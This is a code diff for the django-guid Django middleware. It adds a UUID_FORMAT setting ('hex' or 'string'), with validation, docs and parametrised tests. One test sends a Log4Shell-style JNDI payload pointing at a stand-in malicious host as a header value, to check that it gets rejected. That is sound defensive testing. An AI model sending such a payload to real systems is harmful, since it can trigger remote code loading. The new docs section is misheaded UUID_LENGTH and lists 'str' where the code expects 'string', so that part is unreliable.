Add UUID_FORMAT config

.pre-commit-config.yaml

@@ -1,11 +1,11 @@
 repos:
   - repo: https://github.com/ambv/black
-    rev: 22.1.0
+    rev: 22.3.0
     hooks:
       - id: black
         args: ['--quiet']
   - repo: https://github.com/pre-commit/pre-commit-hooks
-    rev: v4.1.0
+    rev: v4.2.0
     hooks:
       - id: check-case-conflict
       - id: end-of-file-fixer
@@ -31,7 +31,7 @@ repos:
         ]
         args: ['--enable-extensions=G']
   - repo: https://github.com/asottile/pyupgrade
-    rev: v2.31.0
+    rev: v2.32.1
     hooks:
       - id: pyupgrade
         args: ["--py36-plus"]
@@ -42,15 +42,7 @@ repos:
         files: 'django_guid/.*'
       - id: isort
         files: 'tests/.*'
-  - repo: local
-    hooks:
-      - id: rst
-        name: rst
-        entry: rst-lint --encoding utf-8
-        files: ^(CHANGELOG.rst|README.rst|CONTRIBUTING.rst|CONTRIBUTORS.rst|docs/api.rst|docs/extended_example.rst|docs/index.rst|docs/install.rst/index.rst|docs/integration.rst/index.rst|docs/publish.rst/index.rst|docs/settings.rst/index.rst|docs/troubleshooting.rst)$
-        language: python
-        additional_dependencies: [pygments, restructuredtext_lint]
   - repo: https://github.com/pre-commit/mirrors-mypy
-    rev: v0.931
+    rev: v0.950
     hooks:
       - id: mypy

django_guid/__init__.py

@@ -2,7 +2,7 @@
 
 from django_guid.api import clear_guid, get_guid, set_guid  # noqa F401
 
-__version__ = '3.2.2'
+__version__ = '3.3.0'
 
 if django.VERSION < (3, 2):
     default_app_config = 'django_guid.apps.DjangoGuidConfig'

django_guid/config.py

@@ -1,5 +1,6 @@
 # flake8: noqa: D102
-from typing import List, Union
+from collections import defaultdict
+from typing import Dict, List, Union
 
 from django.conf import settings as django_settings
 from django.core.exceptions import ImproperlyConfigured
@@ -58,7 +59,12 @@ def integration_settings(self) -> IntegrationSettings:
 
     @property
     def uuid_length(self) -> int:
-        return self.settings.get('UUID_LENGTH', 32)
+        default_length: Dict[str, int] = defaultdict(lambda: 32, string=36)
+        return self.settings.get('UUID_LENGTH', default_length[self.uuid_format])
+
+    @property
+    def uuid_format(self) -> str:
+        return self.settings.get('UUID_FORMAT', 'hex')
 
     def validate(self) -> None:
         if not isinstance(self.validate_guid, bool):
@@ -75,8 +81,14 @@ def validate(self) -> None:
             raise ImproperlyConfigured('IGNORE_URLS must be an array')
         if not all(isinstance(url, str) for url in self.settings.get('IGNORE_URLS', [])):
             raise ImproperlyConfigured('IGNORE_URLS must be an array of strings')
-        if type(self.uuid_length) is not int or not 1 <= self.uuid_length <= 32:
-            raise ImproperlyConfigured('UUID_LENGTH must be an integer and be between 1-32')
+        if type(self.uuid_length) is not int or self.uuid_length < 1:
+            raise ImproperlyConfigured('UUID_LENGTH must be an integer and positive')
+        if self.uuid_format == 'string' and not 1 <= self.uuid_length <= 36:
+            raise ImproperlyConfigured('UUID_LENGTH must be between 1-36 when UUID_FORMAT is string')
+        if self.uuid_format == 'hex' and not 1 <= self.uuid_length <= 32:
+            raise ImproperlyConfigured('UUID_LENGTH must be between 1-32 when UUID_FORMAT is hex')
+        if self.uuid_format not in ('hex', 'string'):
+            raise ImproperlyConfigured('UUID_FORMAT must be either hex or string')
 
         self._validate_and_setup_integrations()
 

django_guid/utils.py

@@ -70,9 +70,14 @@ def generate_guid(uuid_length: Optional[int] = None) -> str:
 
     :return: GUID
     """
+    if settings.uuid_format == 'string':
+        guid = str(uuid.uuid4())
+    else:
+        guid = uuid.uuid4().hex
+
     if uuid_length is None:
-        return uuid.uuid4().hex[: settings.uuid_length]
-    return uuid.uuid4().hex[:uuid_length]
+        return guid[: settings.uuid_length]
+    return guid[:uuid_length]
 
 
 def validate_guid(original_guid: str) -> bool:

docs/settings.rst

@@ -14,6 +14,7 @@ Default settings are shown below:
         'EXPOSE_HEADER': True,
         'INTEGRATIONS': [],
         'UUID_LENGTH': 32,
+        'UUID_FORMAT': 'hex',
     }
 
 
@@ -81,3 +82,12 @@ UUID_LENGTH
 If a full UUID hex is too long for you, this settings lets you specify the length you wish to use.
 The chance of collision in a UUID is so low, that most systems will get away with a lot
 fewer than 32 characters.
+
+UUID_LENGTH
+-----------
+* **Default**: ``hex``
+* **Type**: ``string``
+
+If a UUID hex is not suitable for you, this settings lets you specify the format you wish to use. The options are:
+* ``hex``: The default, a 32 character hexadecimal string. e.g. ee586b0fba3c44849d20e1548210c050
+* ``str``: A 36 character string. e.g. ee586b0f-ba3c-4484-9d20-e1548210c050

pyproject.toml

@@ -1,6 +1,6 @@
 [tool.poetry]
 name = "django-guid"
-version = "3.2.2"  # Remember to also change __init__.py version
+version = "3.3.0"  # Remember to also change __init__.py version
 description = "Middleware that enables single request-response cycle tracing by injecting a unique ID into project logs"
 authors = ["Jonas Krüger Svensson <[email protected]>"]
 maintainers = ["Sondre Lillebø Gundersen <[email protected]>"]

setup.cfg

@@ -34,6 +34,8 @@ ignore =
     ANN002
     # Missing type annotations for **kwargs
     ANN003
+    # Allow Any typing
+    ANN401
 
 exclude =
     .git,

tests/conftest.py

@@ -8,6 +8,9 @@ def mock_uuid(monkeypatch):
     class MockUUid:
         hex = '704ae5472cae4f8daa8f2cc5a5a8mock'
 
+        def __str__(self):
+            return f'{self.hex[:8]}-{self.hex[8:12]}-{self.hex[12:16]}-{self.hex[16:20]}-{self.hex[20:]}'
+
     monkeypatch.setattr('django_guid.utils.uuid.uuid4', MockUUid)
 
 

tests/functional/test_sync_middleware.py

@@ -8,7 +8,11 @@
 from django_guid.config import Settings
 
 
-def test_request_with_no_correlation_id(client, caplog, mock_uuid):
+@pytest.mark.parametrize(
+    'uuid_data,uuid_format',
+    [('704ae5472cae4f8daa8f2cc5a5a8mock', 'hex'), ('704ae547-2cae-4f8d-aa8f-2cc5a5a8mock', 'string')],
+)
+def test_request_with_no_correlation_id(uuid_data, uuid_format, client, caplog, mock_uuid, monkeypatch):
     """
     Tests a request without any correlation-ID in it logs the correct things.
     In this case, it means that the first log message should not have any correlation-ID in it, but the next two
@@ -17,58 +21,81 @@ def test_request_with_no_correlation_id(client, caplog, mock_uuid):
     :param client: Django client
     :param caplog: caplog fixture
     """
-    response = client.get('/')
+    mocked_settings = {'GUID_HEADER_NAME': 'Correlation-ID', 'VALIDATE_GUID': False, 'UUID_FORMAT': uuid_format}
+
+    with override_settings(DJANGO_GUID=mocked_settings):
+        settings = Settings()
+        monkeypatch.setattr('django_guid.utils.settings', settings)
+        response = client.get('/')
+
     expected = [
         ('sync middleware called', None),
         (
-            'Header `Correlation-ID` was not found in the incoming request. '
-            'Generated new GUID: 704ae5472cae4f8daa8f2cc5a5a8mock',
+            'Header `Correlation-ID` was not found in the incoming request. ' f'Generated new GUID: {uuid_data}',
             None,
         ),
-        ('This log message should have a GUID', '704ae5472cae4f8daa8f2cc5a5a8mock'),
-        ('Some warning in a function', '704ae5472cae4f8daa8f2cc5a5a8mock'),
-        ('Received signal `request_finished`, clearing guid', '704ae5472cae4f8daa8f2cc5a5a8mock'),
+        ('This log message should have a GUID', uuid_data),
+        ('Some warning in a function', uuid_data),
+        ('Received signal `request_finished`, clearing guid', uuid_data),
     ]
     assert [(x.message, x.correlation_id) for x in caplog.records] == expected
-    assert response['Correlation-ID'] == '704ae5472cae4f8daa8f2cc5a5a8mock'
+    assert response['Correlation-ID'] == uuid_data
 
 
-def test_request_with_correlation_id(client, caplog):
+@pytest.mark.parametrize(
+    'uuid_data,uuid_format',
+    [('97c304252fd14b25b72d6aee31565843', 'hex'), ('97c30425-2fd1-4b25-b72d-6aee31565843', 'string')],
+)
+def test_request_with_correlation_id(uuid_data, uuid_format, client, caplog, monkeypatch):
     """
     Tests a request _with_ a correlation-ID in it logs the correct things.
     :param client: Django client
     :param caplog: caplog fixture
     """
-    response = client.get('/', **{'HTTP_Correlation-ID': '97c304252fd14b25b72d6aee31565843'})
+    mocked_settings = {'GUID_HEADER_NAME': 'Correlation-ID', 'UUID_FORMAT': uuid_format}
+
+    with override_settings(DJANGO_GUID=mocked_settings):
+        settings = Settings()
+        monkeypatch.setattr('django_guid.utils.settings', settings)
+        response = client.get('/', **{'HTTP_Correlation-ID': uuid_data})
     expected = [
         ('sync middleware called', None),
         ('Correlation-ID found in the header', None),
-        ('97c304252fd14b25b72d6aee31565843 is a valid GUID', None),
-        ('This log message should have a GUID', '97c304252fd14b25b72d6aee31565843'),
-        ('Some warning in a function', '97c304252fd14b25b72d6aee31565843'),
-        ('Received signal `request_finished`, clearing guid', '97c304252fd14b25b72d6aee31565843'),
+        (f'{uuid_data} is a valid GUID', None),
+        ('This log message should have a GUID', uuid_data),
+        ('Some warning in a function', uuid_data),
+        ('Received signal `request_finished`, clearing guid', uuid_data),
     ]
     assert [(x.message, x.correlation_id) for x in caplog.records] == expected
-    assert response['Correlation-ID'] == '97c304252fd14b25b72d6aee31565843'
+    assert response['Correlation-ID'] == uuid_data
 
 
-def test_request_with_non_alnum_correlation_id(client, caplog, mock_uuid):
+@pytest.mark.parametrize(
+    'uuid_data,uuid_format',
+    [('704ae5472cae4f8daa8f2cc5a5a8mock', 'hex'), ('704ae547-2cae-4f8d-aa8f-2cc5a5a8mock', 'string')],
+)
+def test_request_with_non_alnum_correlation_id(uuid_data, uuid_format, client, caplog, mock_uuid, monkeypatch):
     """
     Tests a request _with_ a correlation-ID in it logs the correct things.
     :param client: Django client
     :param caplog: caplog fixture
     """
-    response = client.get('/', **{'HTTP_Correlation-ID': '!"#¤&${jndi:ldap://ondsinnet.no/a}'})
+    mocked_settings = {'GUID_HEADER_NAME': 'Correlation-ID', 'UUID_FORMAT': uuid_format}
+
+    with override_settings(DJANGO_GUID=mocked_settings):
+        settings = Settings()
+        monkeypatch.setattr('django_guid.utils.settings', settings)
+        response = client.get('/', **{'HTTP_Correlation-ID': '!"#¤&${jndi:ldap://ondsinnet.no/a}'})
     expected = [
         ('sync middleware called', None),
         ('Correlation-ID found in the header', None),
-        ('Non-alnum Correlation-ID provided. New GUID is 704ae5472cae4f8daa8f2cc5a5a8mock', None),
-        ('This log message should have a GUID', '704ae5472cae4f8daa8f2cc5a5a8mock'),
-        ('Some warning in a function', '704ae5472cae4f8daa8f2cc5a5a8mock'),
-        ('Received signal `request_finished`, clearing guid', '704ae5472cae4f8daa8f2cc5a5a8mock'),
+        (f'Non-alnum Correlation-ID provided. New GUID is {uuid_data}', None),
+        ('This log message should have a GUID', uuid_data),
+        ('Some warning in a function', uuid_data),
+        ('Received signal `request_finished`, clearing guid', uuid_data),
     ]
     assert [(x.message, x.correlation_id) for x in caplog.records] == expected
-    assert response['Correlation-ID'] == '704ae5472cae4f8daa8f2cc5a5a8mock'
+    assert response['Correlation-ID'] == uuid_data
 
 
 def test_request_with_invalid_correlation_id(client, caplog, mock_uuid):

tests/unit/test_config.py

@@ -8,6 +8,10 @@
 
 from django_guid.config import Settings
 
+UUID_LENGTH_IS_NOT_INTEGER = 'UUID_LENGTH must be an integer and positive'
+UUID_LENGHT_IS_NOT_CORRECT_RANGE_HEX_FORMAT = 'UUID_LENGTH must be between 1-32 when UUID_FORMAT is hex'
+UUID_LENGHT_IS_NOT_CORRECT_RANGE_STRING_FORMAT = 'UUID_LENGTH must be between 1-36 when UUID_FORMAT is string'
+
 
 @override_settings()
 def test_no_config(settings):
@@ -86,13 +90,34 @@ def test_not_string_in_igore_urls():
                 Settings().validate()
 
 
-def test_uuid_len_fail():
-    for setting in [True, False, {}, [], 'asd', -1, 0, 33]:
-        mocked_settings = deepcopy(django_settings.DJANGO_GUID)
-        mocked_settings['UUID_LENGTH'] = setting
-        with override_settings(DJANGO_GUID=mocked_settings):
-            with pytest.raises(ImproperlyConfigured, match='UUID_LENGTH must be an integer and be between 1-32'):
-                Settings().validate()
+@pytest.mark.parametrize(
+    'uuid_length,uuid_format,error_message',
+    [
+        (True, 'hex', UUID_LENGTH_IS_NOT_INTEGER),
+        (False, 'hex', UUID_LENGTH_IS_NOT_INTEGER),
+        ({}, 'hex', UUID_LENGTH_IS_NOT_INTEGER),
+        (-1, 'hex', UUID_LENGTH_IS_NOT_INTEGER),
+        (0, 'hex', UUID_LENGTH_IS_NOT_INTEGER),
+        (33, 'hex', UUID_LENGHT_IS_NOT_CORRECT_RANGE_HEX_FORMAT),
+        (37, 'string', UUID_LENGHT_IS_NOT_CORRECT_RANGE_STRING_FORMAT),
+    ],
+)
+def test_uuid_len_fail(uuid_length, uuid_format, error_message):
+    mocked_settings = deepcopy(django_settings.DJANGO_GUID)
+    mocked_settings['UUID_LENGTH'] = uuid_length
+    mocked_settings['UUID_FORMAT'] = uuid_format
+    with override_settings(DJANGO_GUID=mocked_settings):
+        with pytest.raises(ImproperlyConfigured, match=error_message):
+            Settings().validate()
+
+
+@pytest.mark.parametrize('uuid_format', ['bytes', 'urn', 'bytes_le'])
+def test_uuid_format_fail(uuid_format):
+    mocked_settings = deepcopy(django_settings.DJANGO_GUID)
+    mocked_settings['UUID_FORMAT'] = uuid_format
+    with override_settings(DJANGO_GUID=mocked_settings):
+        with pytest.raises(ImproperlyConfigured, match='UUID_FORMAT must be either hex or string'):
+            Settings().validate()
 
 
 def test_converts_correctly():

tests/unit/test_uuid_length.py

@@ -1,6 +1,8 @@
 from django.conf import settings as django_settings
 from django.test import override_settings
 
+import pytest
+
 from django_guid.utils import generate_guid
 
 
@@ -13,13 +15,16 @@ def test_uuid_length():
         assert len(guid) == i
 
 
-def test_uuid_length_setting():
+@pytest.mark.parametrize('maximum_range,uuid_format,expected_type', [(33, 'hex', str), (37, 'string', str)])
+def test_uuid_length_setting(maximum_range, uuid_format, expected_type):
     """
     Make sure that the settings value is used as a default.
     """
-    for i in range(33):
-        mocked_settings = django_settings.DJANGO_GUID
-        mocked_settings['UUID_LENGTH'] = i
+    mocked_settings = django_settings.DJANGO_GUID
+    mocked_settings['UUID_FORMAT'] = uuid_format
+    for uuid_lenght in range(33):
+        mocked_settings['UUID_LENGTH'] = uuid_lenght
         with override_settings(DJANGO_GUID=mocked_settings):
             guid = generate_guid()
-            assert len(guid) == i
+            assert isinstance(guid, expected_type)
+            assert len(guid) == uuid_lenght